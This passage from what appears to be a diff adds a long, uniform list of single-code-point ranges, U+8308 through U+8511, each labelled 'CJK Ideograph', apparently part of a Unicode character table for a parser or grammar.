+ ["\u8308", "\u8308"], /* CJK Ideograph */
+ ["\u8309", "\u8309"], /* CJK Ideograph */
+ ["\u830A", "\u830A"], /* CJK Ideograph */
+ ["\u830B", "\u830B"], /* CJK Ideograph */
+ ["\u830C", "\u830C"], /* CJK Ideograph */
+ ["\u830D", "\u830D"], /* CJK Ideograph */
+ ["\u830E", "\u830E"], /* CJK Ideograph */
+ ["\u830F", "\u830F"], /* CJK Ideograph */
+ ["\u8310", "\u8310"], /* CJK Ideograph */
+ ["\u8311", "\u8311"], /* CJK Ideograph */
+ ["\u8312", "\u8312"], /* CJK Ideograph */
+ ["\u8313", "\u8313"], /* CJK Ideograph */
+ ["\u8314", "\u8314"], /* CJK Ideograph */
+ ["\u8315", "\u8315"], /* CJK Ideograph */
+ ["\u8316", "\u8316"], /* CJK Ideograph */
+ ["\u8317", "\u8317"], /* CJK Ideograph */
+ ["\u8318", "\u8318"], /* CJK Ideograph */
+ ["\u8319", "\u8319"], /* CJK Ideograph */
+ ["\u831A", "\u831A"], /* CJK Ideograph */
+ ["\u831B", "\u831B"], /* CJK Ideograph */
+ ["\u831C", "\u831C"], /* CJK Ideograph */
+ ["\u831D", "\u831D"], /* CJK Ideograph */
+ ["\u831E", "\u831E"], /* CJK Ideograph */
+ ["\u831F", "\u831F"], /* CJK Ideograph */
+ ["\u8320", "\u8320"], /* CJK Ideograph */
+ ["\u8321", "\u8321"], /* CJK Ideograph */
+ ["\u8322", "\u8322"], /* CJK Ideograph */
+ ["\u8323", "\u8323"], /* CJK Ideograph */
+ ["\u8324", "\u8324"], /* CJK Ideograph */
+ ["\u8325", "\u8325"], /* CJK Ideograph */
+ ["\u8326", "\u8326"], /* CJK Ideograph */
+ ["\u8327", "\u8327"], /* CJK Ideograph */
+ ["\u8328", "\u8328"], /* CJK Ideograph */
+ ["\u8329", "\u8329"], /* CJK Ideograph */
+ ["\u832A", "\u832A"], /* CJK Ideograph */
+ ["\u832B", "\u832B"], /* CJK Ideograph */
+ ["\u832C", "\u832C"], /* CJK Ideograph */
+ ["\u832D", "\u832D"], /* CJK Ideograph */
+ ["\u832E", "\u832E"], /* CJK Ideograph */
+ ["\u832F", "\u832F"], /* CJK Ideograph */
+ ["\u8330", "\u8330"], /* CJK Ideograph */
+ ["\u8331", "\u8331"], /* CJK Ideograph */
+ ["\u8332", "\u8332"], /* CJK Ideograph */
+ ["\u8333", "\u8333"], /* CJK Ideograph */
+ ["\u8334", "\u8334"], /* CJK Ideograph */
+ ["\u8335", "\u8335"], /* CJK Ideograph */
+ ["\u8336", "\u8336"], /* CJK Ideograph */
+ ["\u8337", "\u8337"], /* CJK Ideograph */
+ ["\u8338", "\u8338"], /* CJK Ideograph */
+ ["\u8339", "\u8339"], /* CJK Ideograph */
+ ["\u833A", "\u833A"], /* CJK Ideograph */
+ ["\u833B", "\u833B"], /* CJK Ideograph */
+ ["\u833C", "\u833C"], /* CJK Ideograph */
+ ["\u833D", "\u833D"], /* CJK Ideograph */
+ ["\u833E", "\u833E"], /* CJK Ideograph */
+ ["\u833F", "\u833F"], /* CJK Ideograph */
+ ["\u8340", "\u8340"], /* CJK Ideograph */
+ ["\u8341", "\u8341"], /* CJK Ideograph */
+ ["\u8342", "\u8342"], /* CJK Ideograph */
+ ["\u8343", "\u8343"], /* CJK Ideograph */
+ ["\u8344", "\u8344"], /* CJK Ideograph */
+ ["\u8345", "\u8345"], /* CJK Ideograph */
+ ["\u8346", "\u8346"], /* CJK Ideograph */
+ ["\u8347", "\u8347"], /* CJK Ideograph */
+ ["\u8348", "\u8348"], /* CJK Ideograph */
+ ["\u8349", "\u8349"], /* CJK Ideograph */
+ ["\u834A", "\u834A"], /* CJK Ideograph */
+ ["\u834B", "\u834B"], /* CJK Ideograph */
+ ["\u834C", "\u834C"], /* CJK Ideograph */
+ ["\u834D", "\u834D"], /* CJK Ideograph */
+ ["\u834E", "\u834E"], /* CJK Ideograph */
+ ["\u834F", "\u834F"], /* CJK Ideograph */
+ ["\u8350", "\u8350"], /* CJK Ideograph */
+ ["\u8351", "\u8351"], /* CJK Ideograph */
+ ["\u8352", "\u8352"], /* CJK Ideograph */
+ ["\u8353", "\u8353"], /* CJK Ideograph */
+ ["\u8354", "\u8354"], /* CJK Ideograph */
+ ["\u8355", "\u8355"], /* CJK Ideograph */
+ ["\u8356", "\u8356"], /* CJK Ideograph */
+ ["\u8357", "\u8357"], /* CJK Ideograph */
+ ["\u8358", "\u8358"], /* CJK Ideograph */
+ ["\u8359", "\u8359"], /* CJK Ideograph */
+ ["\u835A", "\u835A"], /* CJK Ideograph */
+ ["\u835B", "\u835B"], /* CJK Ideograph */
+ ["\u835C", "\u835C"], /* CJK Ideograph */
+ ["\u835D", "\u835D"], /* CJK Ideograph */
+ ["\u835E", "\u835E"], /* CJK Ideograph */
+ ["\u835F", "\u835F"], /* CJK Ideograph */
+ ["\u8360", "\u8360"], /* CJK Ideograph */
+ ["\u8361", "\u8361"], /* CJK Ideograph */
+ ["\u8362", "\u8362"], /* CJK Ideograph */
+ ["\u8363", "\u8363"], /* CJK Ideograph */
+ ["\u8364", "\u8364"], /* CJK Ideograph */
+ ["\u8365", "\u8365"], /* CJK Ideograph */
+ ["\u8366", "\u8366"], /* CJK Ideograph */
+ ["\u8367", "\u8367"], /* CJK Ideograph */
+ ["\u8368", "\u8368"], /* CJK Ideograph */
+ ["\u8369", "\u8369"], /* CJK Ideograph */
+ ["\u836A", "\u836A"], /* CJK Ideograph */
+ ["\u836B", "\u836B"], /* CJK Ideograph */
+ ["\u836C", "\u836C"], /* CJK Ideograph */
+ ["\u836D", "\u836D"], /* CJK Ideograph */
+ ["\u836E", "\u836E"], /* CJK Ideograph */
+ ["\u836F", "\u836F"], /* CJK Ideograph */
+ ["\u8370", "\u8370"], /* CJK Ideograph */
+ ["\u8371", "\u8371"], /* CJK Ideograph */
+ ["\u8372", "\u8372"], /* CJK Ideograph */
+ ["\u8373", "\u8373"], /* CJK Ideograph */
+ ["\u8374", "\u8374"], /* CJK Ideograph */
+ ["\u8375", "\u8375"], /* CJK Ideograph */
+ ["\u8376", "\u8376"], /* CJK Ideograph */
+ ["\u8377", "\u8377"], /* CJK Ideograph */
+ ["\u8378", "\u8378"], /* CJK Ideograph */
+ ["\u8379", "\u8379"], /* CJK Ideograph */
+ ["\u837A", "\u837A"], /* CJK Ideograph */
+ ["\u837B", "\u837B"], /* CJK Ideograph */
+ ["\u837C", "\u837C"], /* CJK Ideograph */
+ ["\u837D", "\u837D"], /* CJK Ideograph */
+ ["\u837E", "\u837E"], /* CJK Ideograph */
+ ["\u837F", "\u837F"], /* CJK Ideograph */
+ ["\u8380", "\u8380"], /* CJK Ideograph */
+ ["\u8381", "\u8381"], /* CJK Ideograph */
+ ["\u8382", "\u8382"], /* CJK Ideograph */
+ ["\u8383", "\u8383"], /* CJK Ideograph */
+ ["\u8384", "\u8384"], /* CJK Ideograph */
+ ["\u8385", "\u8385"], /* CJK Ideograph */
+ ["\u8386", "\u8386"], /* CJK Ideograph */
+ ["\u8387", "\u8387"], /* CJK Ideograph */
+ ["\u8388", "\u8388"], /* CJK Ideograph */
+ ["\u8389", "\u8389"], /* CJK Ideograph */
+ ["\u838A", "\u838A"], /* CJK Ideograph */
+ ["\u838B", "\u838B"], /* CJK Ideograph */
+ ["\u838C", "\u838C"], /* CJK Ideograph */
+ ["\u838D", "\u838D"], /* CJK Ideograph */
+ ["\u838E", "\u838E"], /* CJK Ideograph */
+ ["\u838F", "\u838F"], /* CJK Ideograph */
+ ["\u8390", "\u8390"], /* CJK Ideograph */
+ ["\u8391", "\u8391"], /* CJK Ideograph */
+ ["\u8392", "\u8392"], /* CJK Ideograph */
+ ["\u8393", "\u8393"], /* CJK Ideograph */
+ ["\u8394", "\u8394"], /* CJK Ideograph */
+ ["\u8395", "\u8395"], /* CJK Ideograph */
+ ["\u8396", "\u8396"], /* CJK Ideograph */
+ ["\u8397", "\u8397"], /* CJK Ideograph */
+ ["\u8398", "\u8398"], /* CJK Ideograph */
+ ["\u8399", "\u8399"], /* CJK Ideograph */
+ ["\u839A", "\u839A"], /* CJK Ideograph */
+ ["\u839B", "\u839B"], /* CJK Ideograph */
+ ["\u839C", "\u839C"], /* CJK Ideograph */
+ ["\u839D", "\u839D"], /* CJK Ideograph */
+ ["\u839E", "\u839E"], /* CJK Ideograph */
+ ["\u839F", "\u839F"], /* CJK Ideograph */
+ ["\u83A0", "\u83A0"], /* CJK Ideograph */
+ ["\u83A1", "\u83A1"], /* CJK Ideograph */
+ ["\u83A2", "\u83A2"], /* CJK Ideograph */
+ ["\u83A3", "\u83A3"], /* CJK Ideograph */
+ ["\u83A4", "\u83A4"], /* CJK Ideograph */
+ ["\u83A5", "\u83A5"], /* CJK Ideograph */
+ ["\u83A6", "\u83A6"], /* CJK Ideograph */
+ ["\u83A7", "\u83A7"], /* CJK Ideograph */
+ ["\u83A8", "\u83A8"], /* CJK Ideograph */
+ ["\u83A9", "\u83A9"], /* CJK Ideograph */
+ ["\u83AA", "\u83AA"], /* CJK Ideograph */
+ ["\u83AB", "\u83AB"], /* CJK Ideograph */
+ ["\u83AC", "\u83AC"], /* CJK Ideograph */
+ ["\u83AD", "\u83AD"], /* CJK Ideograph */
+ ["\u83AE", "\u83AE"], /* CJK Ideograph */
+ ["\u83AF", "\u83AF"], /* CJK Ideograph */
+ ["\u83B0", "\u83B0"], /* CJK Ideograph */
+ ["\u83B1", "\u83B1"], /* CJK Ideograph */
+ ["\u83B2", "\u83B2"], /* CJK Ideograph */
+ ["\u83B3", "\u83B3"], /* CJK Ideograph */
+ ["\u83B4", "\u83B4"], /* CJK Ideograph */
+ ["\u83B5", "\u83B5"], /* CJK Ideograph */
+ ["\u83B6", "\u83B6"], /* CJK Ideograph */
+ ["\u83B7", "\u83B7"], /* CJK Ideograph */
+ ["\u83B8", "\u83B8"], /* CJK Ideograph */
+ ["\u83B9", "\u83B9"], /* CJK Ideograph */
+ ["\u83BA", "\u83BA"], /* CJK Ideograph */
+ ["\u83BB", "\u83BB"], /* CJK Ideograph */
+ ["\u83BC", "\u83BC"], /* CJK Ideograph */
+ ["\u83BD", "\u83BD"], /* CJK Ideograph */
+ ["\u83BE", "\u83BE"], /* CJK Ideograph */
+ ["\u83BF", "\u83BF"], /* CJK Ideograph */
+ ["\u83C0", "\u83C0"], /* CJK Ideograph */
+ ["\u83C1", "\u83C1"], /* CJK Ideograph */
+ ["\u83C2", "\u83C2"], /* CJK Ideograph */
+ ["\u83C3", "\u83C3"], /* CJK Ideograph */
+ ["\u83C4", "\u83C4"], /* CJK Ideograph */
+ ["\u83C5", "\u83C5"], /* CJK Ideograph */
+ ["\u83C6", "\u83C6"], /* CJK Ideograph */
+ ["\u83C7", "\u83C7"], /* CJK Ideograph */
+ ["\u83C8", "\u83C8"], /* CJK Ideograph */
+ ["\u83C9", "\u83C9"], /* CJK Ideograph */
+ ["\u83CA", "\u83CA"], /* CJK Ideograph */
+ ["\u83CB", "\u83CB"], /* CJK Ideograph */
+ ["\u83CC", "\u83CC"], /* CJK Ideograph */
+ ["\u83CD", "\u83CD"], /* CJK Ideograph */
+ ["\u83CE", "\u83CE"], /* CJK Ideograph */
+ ["\u83CF", "\u83CF"], /* CJK Ideograph */
+ ["\u83D0", "\u83D0"], /* CJK Ideograph */
+ ["\u83D1", "\u83D1"], /* CJK Ideograph */
+ ["\u83D2", "\u83D2"], /* CJK Ideograph */
+ ["\u83D3", "\u83D3"], /* CJK Ideograph */
+ ["\u83D4", "\u83D4"], /* CJK Ideograph */
+ ["\u83D5", "\u83D5"], /* CJK Ideograph */
+ ["\u83D6", "\u83D6"], /* CJK Ideograph */
+ ["\u83D7", "\u83D7"], /* CJK Ideograph */
+ ["\u83D8", "\u83D8"], /* CJK Ideograph */
+ ["\u83D9", "\u83D9"], /* CJK Ideograph */
+ ["\u83DA", "\u83DA"], /* CJK Ideograph */
+ ["\u83DB", "\u83DB"], /* CJK Ideograph */
+ ["\u83DC", "\u83DC"], /* CJK Ideograph */
+ ["\u83DD", "\u83DD"], /* CJK Ideograph */
+ ["\u83DE", "\u83DE"], /* CJK Ideograph */
+ ["\u83DF", "\u83DF"], /* CJK Ideograph */
+ ["\u83E0", "\u83E0"], /* CJK Ideograph */
+ ["\u83E1", "\u83E1"], /* CJK Ideograph */
+ ["\u83E2", "\u83E2"], /* CJK Ideograph */
+ ["\u83E3", "\u83E3"], /* CJK Ideograph */
+ ["\u83E4", "\u83E4"], /* CJK Ideograph */
+ ["\u83E5", "\u83E5"], /* CJK Ideograph */
+ ["\u83E6", "\u83E6"], /* CJK Ideograph */
+ ["\u83E7", "\u83E7"], /* CJK Ideograph */
+ ["\u83E8", "\u83E8"], /* CJK Ideograph */
+ ["\u83E9", "\u83E9"], /* CJK Ideograph */
+ ["\u83EA", "\u83EA"], /* CJK Ideograph */
+ ["\u83EB", "\u83EB"], /* CJK Ideograph */
+ ["\u83EC", "\u83EC"], /* CJK Ideograph */
+ ["\u83ED", "\u83ED"], /* CJK Ideograph */
+ ["\u83EE", "\u83EE"], /* CJK Ideograph */
+ ["\u83EF", "\u83EF"], /* CJK Ideograph */
+ ["\u83F0", "\u83F0"], /* CJK Ideograph */
+ ["\u83F1", "\u83F1"], /* CJK Ideograph */
+ ["\u83F2", "\u83F2"], /* CJK Ideograph */
+ ["\u83F3", "\u83F3"], /* CJK Ideograph */
+ ["\u83F4", "\u83F4"], /* CJK Ideograph */
+ ["\u83F5", "\u83F5"], /* CJK Ideograph */
+ ["\u83F6", "\u83F6"], /* CJK Ideograph */
+ ["\u83F7", "\u83F7"], /* CJK Ideograph */
+ ["\u83F8", "\u83F8"], /* CJK Ideograph */
+ ["\u83F9", "\u83F9"], /* CJK Ideograph */
+ ["\u83FA", "\u83FA"], /* CJK Ideograph */
+ ["\u83FB", "\u83FB"], /* CJK Ideograph */
+ ["\u83FC", "\u83FC"], /* CJK Ideograph */
+ ["\u83FD", "\u83FD"], /* CJK Ideograph */
+ ["\u83FE", "\u83FE"], /* CJK Ideograph */
+ ["\u83FF", "\u83FF"], /* CJK Ideograph */
+ ["\u8400", "\u8400"], /* CJK Ideograph */
+ ["\u8401", "\u8401"], /* CJK Ideograph */
+ ["\u8402", "\u8402"], /* CJK Ideograph */
+ ["\u8403", "\u8403"], /* CJK Ideograph */
+ ["\u8404", "\u8404"], /* CJK Ideograph */
+ ["\u8405", "\u8405"], /* CJK Ideograph */
+ ["\u8406", "\u8406"], /* CJK Ideograph */
+ ["\u8407", "\u8407"], /* CJK Ideograph */
+ ["\u8408", "\u8408"], /* CJK Ideograph */
+ ["\u8409", "\u8409"], /* CJK Ideograph */
+ ["\u840A", "\u840A"], /* CJK Ideograph */
+ ["\u840B", "\u840B"], /* CJK Ideograph */
+ ["\u840C", "\u840C"], /* CJK Ideograph */
+ ["\u840D", "\u840D"], /* CJK Ideograph */
+ ["\u840E", "\u840E"], /* CJK Ideograph */
+ ["\u840F", "\u840F"], /* CJK Ideograph */
+ ["\u8410", "\u8410"], /* CJK Ideograph */
+ ["\u8411", "\u8411"], /* CJK Ideograph */
+ ["\u8412", "\u8412"], /* CJK Ideograph */
+ ["\u8413", "\u8413"], /* CJK Ideograph */
+ ["\u8414", "\u8414"], /* CJK Ideograph */
+ ["\u8415", "\u8415"], /* CJK Ideograph */
+ ["\u8416", "\u8416"], /* CJK Ideograph */
+ ["\u8417", "\u8417"], /* CJK Ideograph */
+ ["\u8418", "\u8418"], /* CJK Ideograph */
+ ["\u8419", "\u8419"], /* CJK Ideograph */
+ ["\u841A", "\u841A"], /* CJK Ideograph */
+ ["\u841B", "\u841B"], /* CJK Ideograph */
+ ["\u841C", "\u841C"], /* CJK Ideograph */
+ ["\u841D", "\u841D"], /* CJK Ideograph */
+ ["\u841E", "\u841E"], /* CJK Ideograph */
+ ["\u841F", "\u841F"], /* CJK Ideograph */
+ ["\u8420", "\u8420"], /* CJK Ideograph */
+ ["\u8421", "\u8421"], /* CJK Ideograph */
+ ["\u8422", "\u8422"], /* CJK Ideograph */
+ ["\u8423", "\u8423"], /* CJK Ideograph */
+ ["\u8424", "\u8424"], /* CJK Ideograph */
+ ["\u8425", "\u8425"], /* CJK Ideograph */
+ ["\u8426", "\u8426"], /* CJK Ideograph */
+ ["\u8427", "\u8427"], /* CJK Ideograph */
+ ["\u8428", "\u8428"], /* CJK Ideograph */
+ ["\u8429", "\u8429"], /* CJK Ideograph */
+ ["\u842A", "\u842A"], /* CJK Ideograph */
+ ["\u842B", "\u842B"], /* CJK Ideograph */
+ ["\u842C", "\u842C"], /* CJK Ideograph */
+ ["\u842D", "\u842D"], /* CJK Ideograph */
+ ["\u842E", "\u842E"], /* CJK Ideograph */
+ ["\u842F", "\u842F"], /* CJK Ideograph */
+ ["\u8430", "\u8430"], /* CJK Ideograph */
+ ["\u8431", "\u8431"], /* CJK Ideograph */
+ ["\u8432", "\u8432"], /* CJK Ideograph */
+ ["\u8433", "\u8433"], /* CJK Ideograph */
+ ["\u8434", "\u8434"], /* CJK Ideograph */
+ ["\u8435", "\u8435"], /* CJK Ideograph */
+ ["\u8436", "\u8436"], /* CJK Ideograph */
+ ["\u8437", "\u8437"], /* CJK Ideograph */
+ ["\u8438", "\u8438"], /* CJK Ideograph */
+ ["\u8439", "\u8439"], /* CJK Ideograph */
+ ["\u843A", "\u843A"], /* CJK Ideograph */
+ ["\u843B", "\u843B"], /* CJK Ideograph */
+ ["\u843C", "\u843C"], /* CJK Ideograph */
+ ["\u843D", "\u843D"], /* CJK Ideograph */
+ ["\u843E", "\u843E"], /* CJK Ideograph */
+ ["\u843F", "\u843F"], /* CJK Ideograph */
+ ["\u8440", "\u8440"], /* CJK Ideograph */
+ ["\u8441", "\u8441"], /* CJK Ideograph */
+ ["\u8442", "\u8442"], /* CJK Ideograph */
+ ["\u8443", "\u8443"], /* CJK Ideograph */
+ ["\u8444", "\u8444"], /* CJK Ideograph */
+ ["\u8445", "\u8445"], /* CJK Ideograph */
+ ["\u8446", "\u8446"], /* CJK Ideograph */
+ ["\u8447", "\u8447"], /* CJK Ideograph */
+ ["\u8448", "\u8448"], /* CJK Ideograph */
+ ["\u8449", "\u8449"], /* CJK Ideograph */
+ ["\u844A", "\u844A"], /* CJK Ideograph */
+ ["\u844B", "\u844B"], /* CJK Ideograph */
+ ["\u844C", "\u844C"], /* CJK Ideograph */
+ ["\u844D", "\u844D"], /* CJK Ideograph */
+ ["\u844E", "\u844E"], /* CJK Ideograph */
+ ["\u844F", "\u844F"], /* CJK Ideograph */
+ ["\u8450", "\u8450"], /* CJK Ideograph */
+ ["\u8451", "\u8451"], /* CJK Ideograph */
+ ["\u8452", "\u8452"], /* CJK Ideograph */
+ ["\u8453", "\u8453"], /* CJK Ideograph */
+ ["\u8454", "\u8454"], /* CJK Ideograph */
+ ["\u8455", "\u8455"], /* CJK Ideograph */
+ ["\u8456", "\u8456"], /* CJK Ideograph */
+ ["\u8457", "\u8457"], /* CJK Ideograph */
+ ["\u8458", "\u8458"], /* CJK Ideograph */
+ ["\u8459", "\u8459"], /* CJK Ideograph */
+ ["\u845A", "\u845A"], /* CJK Ideograph */
+ ["\u845B", "\u845B"], /* CJK Ideograph */
+ ["\u845C", "\u845C"], /* CJK Ideograph */
+ ["\u845D", "\u845D"], /* CJK Ideograph */
+ ["\u845E", "\u845E"], /* CJK Ideograph */
+ ["\u845F", "\u845F"], /* CJK Ideograph */
+ ["\u8460", "\u8460"], /* CJK Ideograph */
+ ["\u8461", "\u8461"], /* CJK Ideograph */
+ ["\u8462", "\u8462"], /* CJK Ideograph */
+ ["\u8463", "\u8463"], /* CJK Ideograph */
+ ["\u8464", "\u8464"], /* CJK Ideograph */
+ ["\u8465", "\u8465"], /* CJK Ideograph */
+ ["\u8466", "\u8466"], /* CJK Ideograph */
+ ["\u8467", "\u8467"], /* CJK Ideograph */
+ ["\u8468", "\u8468"], /* CJK Ideograph */
+ ["\u8469", "\u8469"], /* CJK Ideograph */
+ ["\u846A", "\u846A"], /* CJK Ideograph */
+ ["\u846B", "\u846B"], /* CJK Ideograph */
+ ["\u846C", "\u846C"], /* CJK Ideograph */
+ ["\u846D", "\u846D"], /* CJK Ideograph */
+ ["\u846E", "\u846E"], /* CJK Ideograph */
+ ["\u846F", "\u846F"], /* CJK Ideograph */
+ ["\u8470", "\u8470"], /* CJK Ideograph */
+ ["\u8471", "\u8471"], /* CJK Ideograph */
+ ["\u8472", "\u8472"], /* CJK Ideograph */
+ ["\u8473", "\u8473"], /* CJK Ideograph */
+ ["\u8474", "\u8474"], /* CJK Ideograph */
+ ["\u8475", "\u8475"], /* CJK Ideograph */
+ ["\u8476", "\u8476"], /* CJK Ideograph */
+ ["\u8477", "\u8477"], /* CJK Ideograph */
+ ["\u8478", "\u8478"], /* CJK Ideograph */
+ ["\u8479", "\u8479"], /* CJK Ideograph */
+ ["\u847A", "\u847A"], /* CJK Ideograph */
+ ["\u847B", "\u847B"], /* CJK Ideograph */
+ ["\u847C", "\u847C"], /* CJK Ideograph */
+ ["\u847D", "\u847D"], /* CJK Ideograph */
+ ["\u847E", "\u847E"], /* CJK Ideograph */
+ ["\u847F", "\u847F"], /* CJK Ideograph */
+ ["\u8480", "\u8480"], /* CJK Ideograph */
+ ["\u8481", "\u8481"], /* CJK Ideograph */
+ ["\u8482", "\u8482"], /* CJK Ideograph */
+ ["\u8483", "\u8483"], /* CJK Ideograph */
+ ["\u8484", "\u8484"], /* CJK Ideograph */
+ ["\u8485", "\u8485"], /* CJK Ideograph */
+ ["\u8486", "\u8486"], /* CJK Ideograph */
+ ["\u8487", "\u8487"], /* CJK Ideograph */
+ ["\u8488", "\u8488"], /* CJK Ideograph */
+ ["\u8489", "\u8489"], /* CJK Ideograph */
+ ["\u848A", "\u848A"], /* CJK Ideograph */
+ ["\u848B", "\u848B"], /* CJK Ideograph */
+ ["\u848C", "\u848C"], /* CJK Ideograph */
+ ["\u848D", "\u848D"], /* CJK Ideograph */
+ ["\u848E", "\u848E"], /* CJK Ideograph */
+ ["\u848F", "\u848F"], /* CJK Ideograph */
+ ["\u8490", "\u8490"], /* CJK Ideograph */
+ ["\u8491", "\u8491"], /* CJK Ideograph */
+ ["\u8492", "\u8492"], /* CJK Ideograph */
+ ["\u8493", "\u8493"], /* CJK Ideograph */
+ ["\u8494", "\u8494"], /* CJK Ideograph */
+ ["\u8495", "\u8495"], /* CJK Ideograph */
+ ["\u8496", "\u8496"], /* CJK Ideograph */
+ ["\u8497", "\u8497"], /* CJK Ideograph */
+ ["\u8498", "\u8498"], /* CJK Ideograph */
+ ["\u8499", "\u8499"], /* CJK Ideograph */
+ ["\u849A", "\u849A"], /* CJK Ideograph */
+ ["\u849B", "\u849B"], /* CJK Ideograph */
+ ["\u849C", "\u849C"], /* CJK Ideograph */
+ ["\u849D", "\u849D"], /* CJK Ideograph */
+ ["\u849E", "\u849E"], /* CJK Ideograph */
+ ["\u849F", "\u849F"], /* CJK Ideograph */
+ ["\u84A0", "\u84A0"], /* CJK Ideograph */
+ ["\u84A1", "\u84A1"], /* CJK Ideograph */
+ ["\u84A2", "\u84A2"], /* CJK Ideograph */
+ ["\u84A3", "\u84A3"], /* CJK Ideograph */
+ ["\u84A4", "\u84A4"], /* CJK Ideograph */
+ ["\u84A5", "\u84A5"], /* CJK Ideograph */
+ ["\u84A6", "\u84A6"], /* CJK Ideograph */
+ ["\u84A7", "\u84A7"], /* CJK Ideograph */
+ ["\u84A8", "\u84A8"], /* CJK Ideograph */
+ ["\u84A9", "\u84A9"], /* CJK Ideograph */
+ ["\u84AA", "\u84AA"], /* CJK Ideograph */
+ ["\u84AB", "\u84AB"], /* CJK Ideograph */
+ ["\u84AC", "\u84AC"], /* CJK Ideograph */
+ ["\u84AD", "\u84AD"], /* CJK Ideograph */
+ ["\u84AE", "\u84AE"], /* CJK Ideograph */
+ ["\u84AF", "\u84AF"], /* CJK Ideograph */
+ ["\u84B0", "\u84B0"], /* CJK Ideograph */
+ ["\u84B1", "\u84B1"], /* CJK Ideograph */
+ ["\u84B2", "\u84B2"], /* CJK Ideograph */
+ ["\u84B3", "\u84B3"], /* CJK Ideograph */
+ ["\u84B4", "\u84B4"], /* CJK Ideograph */
+ ["\u84B5", "\u84B5"], /* CJK Ideograph */
+ ["\u84B6", "\u84B6"], /* CJK Ideograph */
+ ["\u84B7", "\u84B7"], /* CJK Ideograph */
+ ["\u84B8", "\u84B8"], /* CJK Ideograph */
+ ["\u84B9", "\u84B9"], /* CJK Ideograph */
+ ["\u84BA", "\u84BA"], /* CJK Ideograph */
+ ["\u84BB", "\u84BB"], /* CJK Ideograph */
+ ["\u84BC", "\u84BC"], /* CJK Ideograph */
+ ["\u84BD", "\u84BD"], /* CJK Ideograph */
+ ["\u84BE", "\u84BE"], /* CJK Ideograph */
+ ["\u84BF", "\u84BF"], /* CJK Ideograph */
+ ["\u84C0", "\u84C0"], /* CJK Ideograph */
+ ["\u84C1", "\u84C1"], /* CJK Ideograph */
+ ["\u84C2", "\u84C2"], /* CJK Ideograph */
+ ["\u84C3", "\u84C3"], /* CJK Ideograph */
+ ["\u84C4", "\u84C4"], /* CJK Ideograph */
+ ["\u84C5", "\u84C5"], /* CJK Ideograph */
+ ["\u84C6", "\u84C6"], /* CJK Ideograph */
+ ["\u84C7", "\u84C7"], /* CJK Ideograph */
+ ["\u84C8", "\u84C8"], /* CJK Ideograph */
+ ["\u84C9", "\u84C9"], /* CJK Ideograph */
+ ["\u84CA", "\u84CA"], /* CJK Ideograph */
+ ["\u84CB", "\u84CB"], /* CJK Ideograph */
+ ["\u84CC", "\u84CC"], /* CJK Ideograph */
+ ["\u84CD", "\u84CD"], /* CJK Ideograph */
+ ["\u84CE", "\u84CE"], /* CJK Ideograph */
+ ["\u84CF", "\u84CF"], /* CJK Ideograph */
+ ["\u84D0", "\u84D0"], /* CJK Ideograph */
+ ["\u84D1", "\u84D1"], /* CJK Ideograph */
+ ["\u84D2", "\u84D2"], /* CJK Ideograph */
+ ["\u84D3", "\u84D3"], /* CJK Ideograph */
+ ["\u84D4", "\u84D4"], /* CJK Ideograph */
+ ["\u84D5", "\u84D5"], /* CJK Ideograph */
+ ["\u84D6", "\u84D6"], /* CJK Ideograph */
+ ["\u84D7", "\u84D7"], /* CJK Ideograph */
+ ["\u84D8", "\u84D8"], /* CJK Ideograph */
+ ["\u84D9", "\u84D9"], /* CJK Ideograph */
+ ["\u84DA", "\u84DA"], /* CJK Ideograph */
+ ["\u84DB", "\u84DB"], /* CJK Ideograph */
+ ["\u84DC", "\u84DC"], /* CJK Ideograph */
+ ["\u84DD", "\u84DD"], /* CJK Ideograph */
+ ["\u84DE", "\u84DE"], /* CJK Ideograph */
+ ["\u84DF", "\u84DF"], /* CJK Ideograph */
+ ["\u84E0", "\u84E0"], /* CJK Ideograph */
+ ["\u84E1", "\u84E1"], /* CJK Ideograph */
+ ["\u84E2", "\u84E2"], /* CJK Ideograph */
+ ["\u84E3", "\u84E3"], /* CJK Ideograph */
+ ["\u84E4", "\u84E4"], /* CJK Ideograph */
+ ["\u84E5", "\u84E5"], /* CJK Ideograph */
+ ["\u84E6", "\u84E6"], /* CJK Ideograph */
+ ["\u84E7", "\u84E7"], /* CJK Ideograph */
+ ["\u84E8", "\u84E8"], /* CJK Ideograph */
+ ["\u84E9", "\u84E9"], /* CJK Ideograph */
+ ["\u84EA", "\u84EA"], /* CJK Ideograph */
+ ["\u84EB", "\u84EB"], /* CJK Ideograph */
+ ["\u84EC", "\u84EC"], /* CJK Ideograph */
+ ["\u84ED", "\u84ED"], /* CJK Ideograph */
+ ["\u84EE", "\u84EE"], /* CJK Ideograph */
+ ["\u84EF", "\u84EF"], /* CJK Ideograph */
+ ["\u84F0", "\u84F0"], /* CJK Ideograph */
+ ["\u84F1", "\u84F1"], /* CJK Ideograph */
+ ["\u84F2", "\u84F2"], /* CJK Ideograph */
+ ["\u84F3", "\u84F3"], /* CJK Ideograph */
+ ["\u84F4", "\u84F4"], /* CJK Ideograph */
+ ["\u84F5", "\u84F5"], /* CJK Ideograph */
+ ["\u84F6", "\u84F6"], /* CJK Ideograph */
+ ["\u84F7", "\u84F7"], /* CJK Ideograph */
+ ["\u84F8", "\u84F8"], /* CJK Ideograph */
+ ["\u84F9", "\u84F9"], /* CJK Ideograph */
+ ["\u84FA", "\u84FA"], /* CJK Ideograph */
+ ["\u84FB", "\u84FB"], /* CJK Ideograph */
+ ["\u84FC", "\u84FC"], /* CJK Ideograph */
+ ["\u84FD", "\u84FD"], /* CJK Ideograph */
+ ["\u84FE", "\u84FE"], /* CJK Ideograph */
+ ["\u84FF", "\u84FF"], /* CJK Ideograph */
+ ["\u8500", "\u8500"], /* CJK Ideograph */
+ ["\u8501", "\u8501"], /* CJK Ideograph */
+ ["\u8502", "\u8502"], /* CJK Ideograph */
+ ["\u8503", "\u8503"], /* CJK Ideograph */
+ ["\u8504", "\u8504"], /* CJK Ideograph */
+ ["\u8505", "\u8505"], /* CJK Ideograph */
+ ["\u8506", "\u8506"], /* CJK Ideograph */
+ ["\u8507", "\u8507"], /* CJK Ideograph */
+ ["\u8508", "\u8508"], /* CJK Ideograph */
+ ["\u8509", "\u8509"], /* CJK Ideograph */
+ ["\u850A", "\u850A"], /* CJK Ideograph */
+ ["\u850B", "\u850B"], /* CJK Ideograph */
+ ["\u850C", "\u850C"], /* CJK Ideograph */
+ ["\u850D", "\u850D"], /* CJK Ideograph */
+ ["\u850E", "\u850E"], /* CJK Ideograph */
+ ["\u850F", "\u850F"], /* CJK Ideograph */
+ ["\u8510", "\u8510"], /* CJK Ideograph */
+ ["\u8511", "\u8511"], /* CJK Ideograph */
